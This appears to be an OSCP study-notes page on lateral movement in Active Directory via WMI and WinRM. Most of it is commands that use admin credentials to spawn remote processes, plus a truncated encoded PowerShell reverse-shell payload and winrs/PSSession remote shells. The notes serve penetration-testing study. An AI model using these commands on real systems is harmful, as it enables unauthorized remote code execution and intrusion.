Lateral Movement Lotl WMI And WinRM

User credentials of a local admin on the remote target is needed to create new processes

#active directory#adot8

source · oscp.adot8.com · active-directory/lateral-movement_lotl-wmi-and-winrm ↗

LOTL WMI and WinRM

User credentials of a local admin on the remote target is needed to create new processes

WMI

CMD test

code

01wmic /node:192.168.1.50 /user:adot /password:Pwd process call create "calc"

Powershell test

code

01$username = 'adot';
02$password = 'Pwd';
03$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
04$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;

code

01$options = New-CimSessionOption -Protocol DCOM
02$session = New-Cimsession -ComputerName 192.168.1.50 -Credential $credential -SessionOption $Options 
03$command = 'calc';

code

01Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

We can change the $command variable to a powershell rev shell payload

code

01$command = 'powershell -nop -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtE8AYgBqAGUAYwB0ACA';

WinRM

CMD

code

01winrs -r:web01 -u:adot -p:Pwd  "cmd /c whoami"

code

01winrs -r:web01 -u:adot -p:Pwd  "powershell -nop -e JABjAGwAaQBlAG4AdA"

Powershell

code

01$username = 'jen';
02$password = 'Nexus123!';
03$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
04$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
05New-PSSession -ComputerName 192.168.1.50 -Credential $credential

code

01Enter-PSSession 1
02[192.168.1.50]: PS C:\Users\jen\Documents> pwned <3